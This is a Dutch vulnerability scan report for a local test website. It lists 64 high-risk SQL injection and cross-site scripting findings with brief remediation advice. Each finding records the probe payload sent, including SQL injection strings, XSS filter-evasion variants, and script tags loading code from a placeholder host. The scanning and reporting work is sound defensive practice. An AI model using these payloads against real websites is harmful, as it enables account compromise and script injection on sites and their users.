Scan Rapport

Algemene Informatie
Klant: example
Bedrijf: example-company
Email: example@email.nl

Scan Informatie
URL: http://localhost:8888
Server: Apache
Scan type: Full Scan
Start tijd: 2017-09-20 11:02:30
Eind tijd: 2017-09-20 11:02:48
Scan tijd: 18 secondes

Scan Resultaten

Dreigingsniveau (Kleur code)	Niveau	Omschrijving
🟥	4	Er zijn één of meer zeer zorgwekkende kwetsbaarheden op de website gevonden. De kans op exploitatie door hackers is zeer hoog. Hackers kunnen toegang krijgen tot het backend systeem en daarop de databases muteren.

Totale dreigementen gevonden
Hoog: 64
gemiddeld: 0
Laag: 0

Categorie dreigementen	Dreigingsniveau	Aantal	Omschrijving
SQLi	hoog	6	SQL Injection is een query injectie techniek dat gebruikt wordt om software applicaties aan te vallen met SQL statements met als doel data uit een database op te vragen.
XSS	hoog	58	Cross-site scripting is een type kwetsbaarheid dat vooral gevonden wordt in webapplicaties. XSS maakt het mogelijk voor hackers om client-side scripting talen te injecteren op webpagina's.

Advies: SQLi en Blind SQLi

SQL injectie is helaas nog steeds een veel voorkomende kwetsbaarheid.
Maar gelukkig zijn er een aantal oplossingen hiervoor bedacht.
Hieronder een lijst met simpele technieken om SQL injecties te verkomen.

Regels

- Gebruik maken van Prepared Statments
- Gebruik maken van opgeslagen procedures (zoals data)
- Een White List maken van toegestaande invoer
- Escaping van gebruikersinput.

Advies: XSS

Cross-site scripting is een veel voorkomende client-side kwetsbaarheid waarbij de aanvaller client-site code injecteert op webpagina.
Er zijn twee basis regels waar een website aan moet voldoen om dit probleem te verkomen:

Regels

- Voer nooit onvertrouwde data in, behalve op toegestaande locaties
- Voordat de data wordt ingevoerd moet de HTML Escaped worden

Detials van gevonden kwetsbaarheden

ID: 257

Module: sql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: '

Error: You have an error in your SQL syntax

WASC ID: 19

Methode: GET

Datum: 2017-09-20 11:02:30

ID: 258

Module: sql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: ' or 1=1

Error: You have an error in your SQL syntax

WASC ID: 19

Methode: GET

Datum: 2017-09-20 11:02:30

ID: 259

Module: sql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: '

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-20 11:02:31

ID: 260

Module: sql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: ' or 1=1

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-20 11:02:31

ID: 261

Module: sql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: '

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-20 11:02:31

ID: 262

Module: sql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: ' or 1=1

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-20 11:02:31

ID: 263

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>alert('qdnaitxqet')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 264

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>alert("qdnaitxqet")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 265

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt>alert('qdnaitxqet')</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 266

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt>alert("qdnaitxqet")</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 267

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>String.fromCharCode(0,qdnaitxqet,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 268

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt>String.fromCharCode(0,qdnaitxqet,1)</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 269

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script src=http://qdnaitxqet/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 270

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt src=http://qdnaitxqet/x.js></sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 271

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script[TAB]src=http://qdnaitxqet/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 272

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt[TAB]src=http://qdnaitxqet/x.js></sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 273

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img src=. onerror=alert("qdnaitxqet")>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 274

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img src=. onerror=alert('qdnaitxqet')>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 275

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img src=. onerror=String.fromCharCode(0,qdnaitxqet,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 276

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img[TAB]src=.[TAB]onerror=String.fromCharCode(0,qdnaitxqet,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 277

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script >alert('qdnaitxqet')</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 278

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script >alert("qdnaitxqet")</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 279

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script >String.fromCharCode(0,qdnaitxqet,1)</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 280

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt >String.fromCharCode(0,qdnaitxqet,1)</ sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 281

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt[TAB]>String.fromCharCode(0,qdnaitxqet,1)</[TAB]sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 282

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/>alert('qdnaitxqet')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 283

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/>alert("qdnaitxqet")</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 284

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/>alert('qdnaitxqet')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 285

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/>alert("qdnaitxqet")</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:31

ID: 286

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/ src=http://qdnaitxqet/x.js></script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 287

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/ src=http://qdnaitxqet/x.js></sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 288

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>alert('qdnaitxqet')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 289

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>alert('qdnaitxqet')</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 290

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>alert("qdnaitxqet")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 291

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>alert("qdnaitxqet")</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 292

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>String.fromCharCode(0,qdnaitxqet,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 293

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>String.fromCharCode(0,qdnaitxqet,1)</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 294

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt src=http://qdnaitxqet/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 295

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt src=http://qdnaitxqet/x.js></scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 296

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object data="javascript:alert('qdnaitxqet')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 297

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object data=javascript:String.fromCharCode(0,qdnaitxqet,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 298

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object[TAB]data=javascript:String.fromCharCode(0,qdnaitxqet,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 299

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert('qdnaitxqet')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 300

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert("qdnaitxqet")></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-20 11:02:32

ID: 301

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <script>alert('ijoqf3h4gy')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 302

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <ScRiPt>alert('ijoqf3h4gy')</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 303

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <img src=. onerror=alert('ijoqf3h4gy')>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 304

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <script >alert('ijoqf3h4gy')</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 305

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <script/>alert('ijoqf3h4gy')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 306

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <ScRiPt/>alert('ijoqf3h4gy')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 307

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('ijoqf3h4gy')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 308

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('ijoqf3h4gy')</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 309

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <object data="javascript:alert('ijoqf3h4gy')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 310

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <object><param name=x value=javascript:alert('ijoqf3h4gy')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:33

ID: 311

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <script>alert('7mwvr7zy1o')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:34

ID: 312

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <ScRiPt>alert('7mwvr7zy1o')</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:34

ID: 313

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <img src=. onerror=alert('7mwvr7zy1o')>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:38

ID: 314

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <script >alert('7mwvr7zy1o')</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:40

ID: 315

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <script/>alert('7mwvr7zy1o')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:42

ID: 316

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <ScRiPt/>alert('7mwvr7zy1o')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:42

ID: 317

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('7mwvr7zy1o')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:44

ID: 318

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('7mwvr7zy1o')</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:44

ID: 319

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <object data="javascript:alert('7mwvr7zy1o')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:47

ID: 320

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <object><param name=x value=javascript:alert('7mwvr7zy1o')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-20 11:02:48